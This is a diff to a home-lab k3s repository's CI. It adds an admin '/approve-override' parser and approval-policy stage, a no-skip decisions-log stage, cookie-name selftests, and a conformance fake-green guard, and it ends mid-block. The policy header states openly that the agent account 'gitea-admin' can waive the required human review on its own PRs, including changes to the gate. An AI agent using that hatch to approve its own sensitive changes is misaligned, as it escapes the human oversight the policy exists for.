+        {"args": []},
+    )
+
+    # `next(..., None)` — the DEFAULT IS LOAD-BEARING, not defensive style. With a bare
+    # `next(genexpr)` this raises StopIteration the moment a sidecar renders no --cookie-name,
+    # which is precisely the mutation this assertion exists to catch. The traceback then escapes
+    # _selftest() before its collected `SELFTEST FAIL:` lines are printed, so the run exits
+    # non-zero with the RIGHT VERDICT AND NO DIAGNOSTICS — and it masks every other assertion the
+    # same mutation broke. Measured by Desmond Oyelaran while wiring the selftest into the
+    # render-golden stage: deleting the --cookie-name emission gave rc 1 via an uncaught
+    # StopIteration and suppressed all of the messages. A missing flag must report AS AN
+    # ASSERTION, with its name in the output, which is what the None + explicit check below do.
+    def _cookie_name(container):
+        return next((a for a in container["args"] if a.startswith("--cookie-name=")), None)
+
+    _fa_cn, _fa2_cn = _cookie_name(side), _cookie_name(fa2_side)
+    check(
+        _fa_cn is not None and _fa2_cn is not None,
+        f"a forward-auth sidecar rendered NO --cookie-name at all (fa={_fa_cn!r}, "
+        f"fa2={_fa2_cn!r}). Omitting the flag is not neutral: oauth2-proxy then claims its "
+        f"built-in default `_oauth2_proxy`, which every other instance on the platform also "
+        f"claims, so they overwrite and ClearSession-delete each other's sessions",
+    )
+    check(
+        _fa_cn != _fa2_cn,
+        "two forward-auth apps rendered IDENTICAL cookie names — they would overwrite each "
+        "other's session on every sign-in (the 2026-09-29 crafty defect, fleet-wide)",
+    )
+    # Index-safe for the same reason as `side` above: an absent sidecar has no env, and an
+    # IndexError here would exit non-zero with no diagnostics at all.
+    _fa_env = (side.get("env") or [{}])[0]
+    check(
+        (((_fa_env.get("valueFrom") or {}).get("secretKeyRef") or {}).get("name")
+         == "fa-oauth2-proxy"),
         "sidecar creds must come by name from the per-app <app>-oauth2-proxy Secret (R-IDP-04)",
     )
-    fa_svc = next(d[1] for d in fa_docs if d[1]["kind"] == "Service")
-    fa_svc_ports = {p["port"] for p in fa_svc["spec"]["ports"]}
+    fa_svc = next((d[1] for d in fa_docs if d[1]["kind"] == "Service"), None)
+    check(fa_svc is not None, "a forward-auth app must render a Service for the Gateway to reach")
+    fa_svc_ports = {p["port"] for p in (((fa_svc or {}).get("spec") or {}).get("ports") or [])}
     check(
         fa_svc_ports == {9117, 4180},
         "forward-auth Service must expose the app port (east-west) AND :4180 (gateway->sidecar)",

catalog/sonarr.yaml

@@ -100,6 +100,9 @@ dependencies:
   - to: jackett                 # arr → indexer proxy (docs/13 dependency graph; R-NET-02 explicit allow)
     port: 9117
     protocol: tcp
+  - to: plex                    # arr -> plex: required since library is on NFS which does not provide file CRUD notifications
+    port: 32400
+    protocol: tcp
 ingressRoutes:
   - host: sonarr.${BASE_DOMAIN}
     port: 8989                  # Sonarr web/API; TLS terminates at the shared Gateway (docs/08, docs/09)
@@ -112,6 +115,14 @@ auth:
     # via k8s-oidc-rbac.yaml). Without it, an empty media-users locks every operator out with an
     # immediate 403 at the oauth2-proxy callback — observed on prod 2026-09-12.
     - platform-admins           # operators of these services must not be locked out of them
+  # NO `apiRoutes` HERE, AND NOT BECAUSE IT NEEDS NONE — because nothing measures that it does.
+  # Sonarr is nearly the same codebase as Radarr, which is exactly what makes `^/api/` +
+  # `^/signalr/` a tempting guess and still a guess. MEASURED 2026-10-01 on the live pod
+  # (sonarr-ddf485775-8ckwt, 0 restarts, 23h): its oauth2-proxy log contains 13,643 lines and
+  # ZERO unauthenticated requests — no /api/, no /signalr/, nothing but health probes. Nobody
+  # has opened this UI since the cookie fix rolled, so the measurement is empty rather than
+  # negative: it is evidence of no TRAFFIC, not evidence of no need. Add the routes when someone
+  # reproduces the 302-on-XHR here, with the numbers.
 update:
   channel: stable               # R-UPD-01
   range: ">=4.0.0 <5.0.0"       # stay on the Sonarr v4 stable line

ci/Makefile

@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
 
 .DEFAULT_GOAL := help
 
-.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
+.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
 
 help: ## Show this help
 	@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf "  \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
@@ -29,9 +29,15 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
 render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
 	@"$(CI_DIR)render-golden.sh"
 
+decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
+	@"$(CI_DIR)decisions-log.sh"
+
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
+	@./approval-policy.sh
+
 gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
 	@./gitea-settings.sh
 

ci/README.md

@@ -101,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
 |---|---|---|
 | `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
 | `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
+| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
 | `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
 
 That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**

ci/approval-override.py

@@ -0,0 +1,194 @@
+#!/usr/bin/env python3
+"""ci/approval-override.py — select the admin-override on a PR, if there is a valid one.
+
+This script decides NOTHING about authority. It parses a PR's comments and reviews and returns
+the single override *candidate* that ci/approval-policy.sh should then try to authorise against
+the live Gitea permission API. Keeping the two apart is the point:
+
+  * parsing is pure, offline, and therefore TESTABLE (ci/tests/approval-override.test.sh);
+  * authorisation needs the API and must stay in the stage that fails closed.
+
+A candidate is a comment OR a review whose body contains, AT THE START OF A LINE, the directive
+followed by a non-empty reason:
+
+    /approve-override the gate cannot gate itself and I am the only human reviewer
+
+TWO SOURCES, AND WHY THAT IS NOT BELT-AND-BRACES. Measured 2026-10-02 on PR #38: the override was
+posted as an ordinary PR comment, was well-formed, was newer than the head commit — and the stage
+still blocked, because CI could not READ it. `SETTINGS_API_TOKEN` is minted with scopes
+`[read:repository, read:admin]`, and Gitea puts /issues/{n}/comments behind the *issue* scope, so
+the request came back as an error OBJECT rather than an array. `/pulls/{n}/reviews` is under
+read:repository and was readable in the same run. So:
+
+  * a REVIEW body works with the token CI has today (leave a review of type "Comment");
+  * a COMMENT body works once the token carries read:issue (see infra/gitea/set-ci-token.sh).
+
+Accepting both means the hatch is not hostage to one API scope. A source that cannot be read
+contributes no candidates and is reported on stderr; it can only cause a false BLOCK, never a
+false pass, which is why degrading it is safe and blocking on it was not necessary.
+
+WHY EACH RULE IS HERE
+
+  * START OF A LINE, not "anywhere in the body". Otherwise quoting someone else's override
+    ("you could just /approve-override this") re-arms it. Lines beginning with '>' are DROPPED
+    rather than unquoted, for exactly that reason.
+  * A REASON IS MANDATORY. A bare directive records that a review was waived but not why, which
+    is the difference between an audit trail and a rubber stamp.
+  * STALE OVERRIDES ARE DISCARDED. An override earned at commit A must not silently cover commit
+    B. Any candidate created at or before the head commit's timestamp is dropped — the same
+    semantics Gitea's own `dismiss_stale_approvals` applies to approvals. Push new commits and
+    you must re-override.
+  * A PENDING REVIEW IS NOT SUBMITTED. It is a private draft visible only to its author, so it is
+    not an act of anything and is dropped.
+  * THE LATEST CANDIDATE WINS, across both sources, so a later override supersedes an earlier one.
+
+Output: one TSV line (login, timestamp, source, reason) on stdout, or nothing at all when there is
+no valid candidate. Never exits non-zero for "no override" — absence is a normal answer and the
+caller must not be able to confuse it with a parse crash.
+
+Input, all via env so nothing lands in `ps`:
+  COMMENTS_JSON  the Gitea /issues/{n}/comments array (or an error object; or absent)
+  REVIEWS_JSON   the Gitea /pulls/{n}/reviews array   (or an error object; or absent)
+  HEAD_TIME      ISO-8601 timestamp of the PR head commit
+  DIRECTIVE      the override directive, e.g. /approve-override
+"""
+import json
+import os
+import re
+import sys
+from datetime import datetime, timezone
+
+
+def parse_ts(value):
+    """Gitea emits RFC3339. Return an aware datetime, or None if it is unparseable.
+
+    Unparseable is NOT 'treat as fresh': the caller drops such a candidate, because a
+    timestamp we cannot read is a staleness check we cannot perform.
+    """
+    if not value:
+        return None
+    text = str(value).strip()
+    # Python < 3.11 cannot read a trailing 'Z' in fromisoformat.
+    if text.endswith(("Z", "z")):
+        text = text[:-1] + "+00:00"
+    try:
+        parsed = datetime.fromisoformat(text)
+    except ValueError:
+        return None
+    if parsed.tzinfo is None:
+        parsed = parsed.replace(tzinfo=timezone.utc)
+    return parsed
+
+
+def extract_reason(body, directive):
+    """Return the reason from the first line that STARTS with the directive, else None."""
+    pattern = re.compile(
+        r"^[ \t]*" + re.escape(directive) + r"(?=[ \t:]|$)[ \t:]*(.*)$"
+    )
+    for raw in (body or "").splitlines():
+        # A quoted line is somebody repeating an override, not casting one.
+        if raw.lstrip().startswith(">"):
+            continue
+        match = pattern.match(raw)
+        if match:
+            reason = match.group(1).strip()
+            return reason or None
+    return None
+
+
+def load_source(env_name, label):
+    """Return a list of items for one source, or [] with a stderr note if it is unusable."""
+    raw = os.environ.get(env_name)
+    if not raw or not raw.strip():
+        return []
+    try:
+        parsed = json.loads(raw)
+    except (ValueError, TypeError):
+        print(
+            "approval-override: %s is not valid JSON — ignoring that source" % label,
+            file=sys.stderr,
+        )
+        return []
+    if isinstance(parsed, list):
+        return parsed
+    # An error object, typically {"message": "token does not have ... scope"}. Say which,
+    # because "no override found" and "could not read the overrides" look identical from
+    # the outside and the first wasted a real debugging session.
+    detail = ""
+    if isinstance(parsed, dict):
+        detail = str(parsed.get("message") or parsed.get("errors") or "")[:200]
+    print(
+        "approval-override: %s is not a list (Gitea returned %s%s) — ignoring that source"
+        % (label, type(parsed).__name__, ": " + detail if detail else ""),
+        file=sys.stderr,
+    )
+    return []
+
+
+def candidates_from(items, source, directive, head_time):
+    """Yield (when, login, reason, raw_when, source) for every valid override in one source."""
+    found = []
+    for item in items:
+        if not isinstance(item, dict):
+            continue
+        login = ((item.get("user") or {}).get("login") or "").strip()
+        reason = extract_reason(item.get("body"), directive)
+        if not login or not reason:
+            continue
+        # A PENDING review is an unsubmitted private draft — not an act of anything.
+        state = str(item.get("state") or "").upper()
+        if source == "review" and state == "PENDING":
+            print(
+                "approval-override: dropping PENDING (unsubmitted) review by '%s'" % login,
+                file=sys.stderr,
+            )
+            continue
+        raw_when = (
+            item.get("submitted_at") or item.get("created_at") or item.get("updated_at") or ""
+        )
+        when = parse_ts(raw_when)
+        if when is None:
+            print(
+                "approval-override: dropping %s override by '%s' — unreadable timestamp %r"
+                % (source, login, raw_when),
+                file=sys.stderr,
+            )
+            continue
+        # An override must post-date the commit it covers.
+        if head_time is not None and when <= head_time:
+            print(
+                "approval-override: dropping STALE %s override by '%s' (%s) — not newer than "
+                "head commit (%s). Re-post it to override the current commit."
+                % (source, login, when.isoformat(), head_time.isoformat()),
+                file=sys.stderr,
+            )
+            continue
+        found.append((when, login, reason, raw_when, source))
+    return found
+
+
+def main():
+    directive = os.environ.get("DIRECTIVE", "/approve-override").strip()
+    head_time = parse_ts(os.environ.get("HEAD_TIME", ""))
+
+    found = []
+    found += candidates_from(
+        load_source("COMMENTS_JSON", "COMMENTS_JSON"), "comment", directive, head_time
+    )
+    found += candidates_from(
+        load_source("REVIEWS_JSON", "REVIEWS_JSON"), "review", directive, head_time
+    )
+
+    if not found:
+        return 0
+
+    # Latest wins, across both sources: a later override supersedes an earlier one.
+    when, login, reason, raw_when, source = max(found, key=lambda c: c[0])
+    # Keep the reason on one line — this becomes a TSV field.
+    reason = " ".join(reason.split())
+    print("%s\t%s\t%s\t%s" % (login, raw_when, source, reason))
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

ci/approval-policy.sh

@@ -0,0 +1,274 @@
+#!/usr/bin/env bash
+# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
+# what the pipeline verifies or the security posture it rests on.
+#
+# THE POLICY, and why it is shaped this way.
+#
+# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
+# pipeline is not good enough to be trusted for this, then it is not good enough to do its
+# intended job and needs to be improved. Manual approvers should only be for architecturally or
+# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
+#
+# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
+# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
+# A PR that weakens a check would be approved by the weakened check. The same applies to the
+# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
+# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
+# requires a human for them.
+#
+# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
+# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
+# policy cannot be widened without a human.
+#
+# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
+# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
+# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
+# BYPASS, not a gap. So: cannot determine -> BLOCK.
+#
+# THE ADMIN OVERRIDE (added 2026-10-01), and the lock-out it clears.
+#
+# The rule above was UNSATISFIABLE for the one human who runs this repo. Gitea refuses to let a
+# pull request's author approve their own PR, and `jakman85` is the only collaborator — so "an
+# APPROVED review from someone who is not its author" is a condition the sole administrator can
+# never meet. Every sensitive-path PR they opened was permanently unmergeable, INCLUDING the PR
+# that would fix it. Measured 2026-10-01: PR #35, gate green in 1m41s, zero reviews, blocked.
+#
+# So an administrator may waive the review by COMMENTING on the PR:
+#
+#     /approve-override <reason>
+#
+# Authority comes from the LIVE Gitea permission API, never from the comment — the commenter must
+# hold a permission listed in `.override.authorized_permissions` (admin/owner) at the moment the
+# gate runs, so an old comment from a since-demoted account is worth nothing. The directive must
+# start a line, a reason is mandatory, and the comment must POST-DATE the head commit: an override
+# earned at commit A does not cover commit B. Choosing the candidate comment is the job of the
+# pure, offline, unit-tested ci/approval-override.py; AUTHORISING it is the job of this stage,
+# which fails closed.
+#
+# WHAT THIS COSTS, STATED PLAINLY. For an administrator, "a change to the gate cannot be gated by
+# the gate" stops being structural and becomes advisory. That is the unavoidable consequence of
+# there being one human; the alternative is a repository its owner cannot change. What is bought
+# back is a RECORD — the waiver is an explicit act, attributed to an account, carrying a stated
+# reason, in the PR history and in this stage's output. A silent bypass keyed on "is the author an
+# admin?" would have been less code and is exactly the fail-open shape this repo keeps finding.
+#
+# AND THE PART THAT IS NOT COMFORTABLE. Authorisation is by permission ALONE, with no allowlist of
+# human accounts (operator decision, 2026-10-01, taken with this consequence on the table). The
+# AGENT account `gitea-admin` also reports permission `owner` here, so an agent can clear the
+# sensitive-path review on its own PR by posting the directive — and agents author most PRs in
+# this repo, so that is the common case, not an edge case. To narrow it without touching this
+# logic, add an `override_admins` list to infra/gitea/approval-policy.json: the check below
+# already requires membership whenever that key is present.
+#
+# EXIT CODES
+#   0  no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and
+#      either a non-author APPROVED review or a valid admin override is present
+#   1  sensitive paths touched with neither, OR the policy could not be evaluated
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: approval policy (CI approves; humans approve changes to CI)"
+
+DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
+[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
+require_tool jq
+require_tool python3
+
+# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
+# by branch protection, so this is genuinely not-applicable rather than a skipped check.
+EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
+PR="${PR_NUMBER:-}"
+if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
+  ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
+  exit 0
+fi
+
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+if [ -z "$TOKEN" ]; then
+  err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
+  err "  BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
+  summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
+  exit 1
+fi
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
+PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
+REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
+# PR conversation comments live under the ISSUES endpoint. `/pulls/{n}/comments` returns review
+# (diff) comments ONLY, so an override posted in the normal comment box would never appear in it.
+# Verified against this Gitea (1.24.3) rather than assumed.
+#
+# This one is NOT in the must-parse loop below, and that is deliberate. /issues/{n}/comments sits
+# behind Gitea's *issue* token scope, which `SETTINGS_API_TOKEN` does not carry (it is minted
+# `[read:repository, read:admin]`) — so it returns an error OBJECT, not an array. Blocking on that
+# turned "CI cannot read your override" into a message that said "you did not post one", and cost a
+# real debugging session on PR #38. It is handled explicitly, and loudly, further down: an
+# unreadable source can only cause a false BLOCK, never a false pass.
+COMMENTS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/issues/${PR}/comments?limit=1000" || true)"
+for v in FILES_JSON PR_JSON REVIEWS_JSON; do
+  jq -e . >/dev/null 2>&1 <<<"${!v}" || {
+    err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
+    summary "- approval-policy: **BLOCKED — Gitea unreadable**"
+    exit 1; }
+done
+
+AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
+[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
+
+# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
+# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
+# never read. Caught before shipping, by running it.
+SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
+import json, os, fnmatch
+decl = json.load(open(os.environ["DECL"]))
+files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
+pats = decl["sensitive_paths"]
+hits = sorted({f for f in files for p in pats
+               if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
+print("\n".join(hits))
+')"
+
+if [ -z "$SENSITIVE" ]; then
+  ok "no architecturally/security-relevant paths touched — the GATE is the approver."
+  summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
+  exit 0
+fi
+
+echo "  sensitive paths touched:" >&2
+printf '    %s\n' $SENSITIVE >&2
+
+APPROVER="$(jq -r --arg a "$AUTHOR" \
+  '[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
+  <<<"$REVIEWS_JSON")"
+
+if [ -n "$APPROVER" ]; then
+  ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
+  summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
+  exit 0
+fi
+
+# ─────────────────────────────────────────────────────────────────────────────────────────
+# No non-author approval exists. Before refusing, look for an administrator's explicit
+# override. See the header for why this hatch exists and what it costs.
+# ─────────────────────────────────────────────────────────────────────────────────────────
+OVERRIDE_ENABLED="$(jq -r '.override.enabled // false' "$DECL")"
+DIRECTIVE="$(jq -r '.override.comment_directive // "/approve-override"' "$DECL")"
+HEAD_SHA="$(jq -r '.head.sha // empty' <<<"$PR_JSON")"
+
+if [ "$OVERRIDE_ENABLED" = "true" ]; then
+  # The head commit's timestamp anchors staleness. Read it from GITEA, not from the local
+  # tree: CI checks out a merge commit, whose date is not the head commit's date.
+  HEAD_TIME=""
+  if [ -n "$HEAD_SHA" ]; then
+    HEAD_COMMIT_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/git/commits/${HEAD_SHA}" || true)"
+    HEAD_TIME="$(jq -r '.commit.committer.date // .created // empty' <<<"${HEAD_COMMIT_JSON:-null}" 2>/dev/null || true)"
+  fi
+  if [ -z "$HEAD_TIME" ]; then
+    err "could not read the head commit's timestamp for PR #${PR} — BLOCKING."
+    err "  Without it an override cannot be aged, and an unaged override is one that silently"
+    err "  covers commits nobody waived review on."
+    summary "- approval-policy: **BLOCKED — head commit timestamp unreadable** (cannot age an override)"
+    exit 1
+  fi
+
+  # Is the comments source actually readable? Say so plainly if not — a scope problem and "you
+  # never posted an override" are indistinguishable from the outside, and conflating them is what
+  # made PR #38 look like a code bug.
+  if ! jq -e 'type == "array"' >/dev/null 2>&1 <<<"${COMMENTS_JSON:-}"; then
+    SCOPE_MSG="$(jq -r '.message // empty' <<<"${COMMENTS_JSON:-null}" 2>/dev/null || true)"
+    warn "cannot read PR COMMENTS from Gitea${SCOPE_MSG:+ — ${SCOPE_MSG}}."
+    warn "  /issues/${PR}/comments needs the *issue* token scope; SETTINGS_API_TOKEN is minted"
+    warn "  [read:repository, read:admin] (infra/gitea/set-ci-token.sh). An override posted as an"
+    warn "  ordinary PR COMMENT is therefore invisible to CI — post it as a REVIEW of type"
+    warn "  'Comment' instead, which /pulls/${PR}/reviews exposes under read:repository."
+    summary "- approval-policy: note — PR comments unreadable (token lacks the issue scope); use a **review** to override"
+    COMMENTS_JSON='[]'
+  fi
+
+  # Pure, offline, unit-tested selection: which comment or review, if any, is a live override?
+  OVERRIDE_TSV="$(COMMENTS_JSON="$COMMENTS_JSON" REVIEWS_JSON="$REVIEWS_JSON" \
+    HEAD_TIME="$HEAD_TIME" DIRECTIVE="$DIRECTIVE" \
+    python3 "${CI_DIR}/approval-override.py")" || {
+      err "ci/approval-override.py failed — BLOCKING rather than assuming there is no override."
+      summary "- approval-policy: **BLOCKED — override parser failed**"
+      exit 1; }
+
+  if [ -n "$OVERRIDE_TSV" ]; then
+    OV_USER="$(cut -f1 <<<"$OVERRIDE_TSV")"
+    OV_WHEN="$(cut -f2 <<<"$OVERRIDE_TSV")"
+    OV_SRC="$(cut -f3 <<<"$OVERRIDE_TSV")"
+    OV_WHY="$(cut -f4- <<<"$OVERRIDE_TSV")"
+
+    # AUTHORITY IS MEASURED LIVE, never inferred from the comment or from a name in git.
+    PERM_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/collaborators/${OV_USER}/permission" || true)"
+    OV_PERM="$(jq -r '.permission // empty' <<<"${PERM_JSON:-null}" 2>/dev/null || true)"
+    if [ -z "$OV_PERM" ]; then
+      err "'${OV_USER}' posted ${DIRECTIVE}, but their permission on ${GITEA_REPO} could not be"
+      err "  read — BLOCKING. An override whose authority is unverified is not an override."
+      summary "- approval-policy: **BLOCKED — cannot verify \`${OV_USER}\`'s permission**"
+      exit 1
+    fi
+
+    # Authorised when the LIVE permission is one of the declared ones and — only if an
+    # `override_admins` allowlist exists at all — the account is on it. No allowlist means
+    # permission alone, which is the operator's standing decision; adding the key narrows
+    # this with no change to any code.
+    AUTHORISED="$(DECL="$DECL" OV_PERM="$OV_PERM" OV_USER="$OV_USER" python3 -c '
+import json, os
+d = json.load(open(os.environ["DECL"])).get("override", {})
+perms = d.get("authorized_permissions") or ["admin", "owner"]
+allow = d.get("override_admins")
+ok_perm = os.environ["OV_PERM"] in perms
+ok_list = True if allow is None else os.environ["OV_USER"] in allow
+print("yes" if (ok_perm and ok_list) else "no")
+')"
+
+    if [ "$AUTHORISED" = "yes" ]; then
+      if [ "$OV_USER" = "$AUTHOR" ]; then
+        warn "ADMIN OVERRIDE — SELF-WAIVED. '${OV_USER}' authored this PR and waived the"
+        warn "  non-author review requirement on their own change. Permitted (permission"
+        warn "  '${OV_PERM}'), deliberate, and shouted about here precisely because it is not free."
+      else
+        warn "ADMIN OVERRIDE by '${OV_USER}' (permission '${OV_PERM}'); author is '${AUTHOR}'."
+      fi
+      warn "  via:    PR ${OV_SRC}"
+      warn "  when:   ${OV_WHEN}  (head commit ${HEAD_SHA:0:8}, ${HEAD_TIME})"
+      warn "  reason: ${OV_WHY}"
+      warn "  review waived on: $(printf '%s ' $SENSITIVE)"
+      ok "sensitive paths cleared by administrator override — this stage does not block."
+      SELFNOTE=""; [ "$OV_USER" = "$AUTHOR" ] && SELFNOTE=", **self-waived as author**"
+      summary "- approval-policy: **OVERRIDDEN by \`${OV_USER}\`** (permission \`${OV_PERM}\`, via PR ${OV_SRC}${SELFNOTE})"
+      summary "  - reason: ${OV_WHY}"
+      summary "  - review waived on: $(printf '\`%s\` ' $SENSITIVE)"
+      exit 0
+    fi
+
+    err "'${OV_USER}' posted ${DIRECTIVE} but is NOT authorised to override: live permission is"
+    err "  '${OV_PERM}'. The authorised set is declared in infra/gitea/approval-policy.json."
+    summary "- approval-policy: **BLOCKED — \`${OV_USER}\` may not override** (permission \`${OV_PERM}\`)"
+    exit 1
+  fi
+fi
+
+err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
+err "  review from anyone other than its author ('${AUTHOR}')."
+err "  A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
+err "  honestly approve for itself. Get a human review, or move the change out of:"
+printf '    %s\n' $SENSITIVE >&2
+err "  The list lives in infra/gitea/approval-policy.json, with a reason per entry."
+if [ "$OVERRIDE_ENABLED" = "true" ]; then
+  err "  Or, if you hold admin/owner on this repository, post this on the PR:"
+  err "      ${DIRECTIVE} <reason>"
+  err "  as a REVIEW of type 'Comment' (not the plain comment box — CI's token cannot read"
+  err "  /issues/${PR}/comments without the issue scope; see infra/gitea/set-ci-token.sh)."
+  err "  The reason is mandatory, the directive must START a line, and it must be NEWER than"
+  err "  head commit ${HEAD_SHA:0:8} — push again and you must override again."
+fi
+summary "- approval-policy: **BLOCKED — needs a non-author approval, or an admin \`${DIRECTIVE}\` comment**"
+exit 1

ci/conformance.sh

@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
   cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
 fi
 
+# ---------------------------------------------------------------------------------------
+# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
+#
+# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
+# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
+# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
+# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
+# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
+#
+# MEASURED 2026-09-29, before this guard existed:
+#   CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
+#   "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
+#   "[ ok ] L2/L3 conformance passed for touched subset"
+# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
+# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
+# it because nobody had ever set the variable.
+#
+# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
+# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
+# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
+# makes the stage itself honour that instead of reporting a pass.
+JUNIT="${CONF_ART}/report.junit.xml"
+if [ -f "$JUNIT" ]; then
+  total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
+  skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
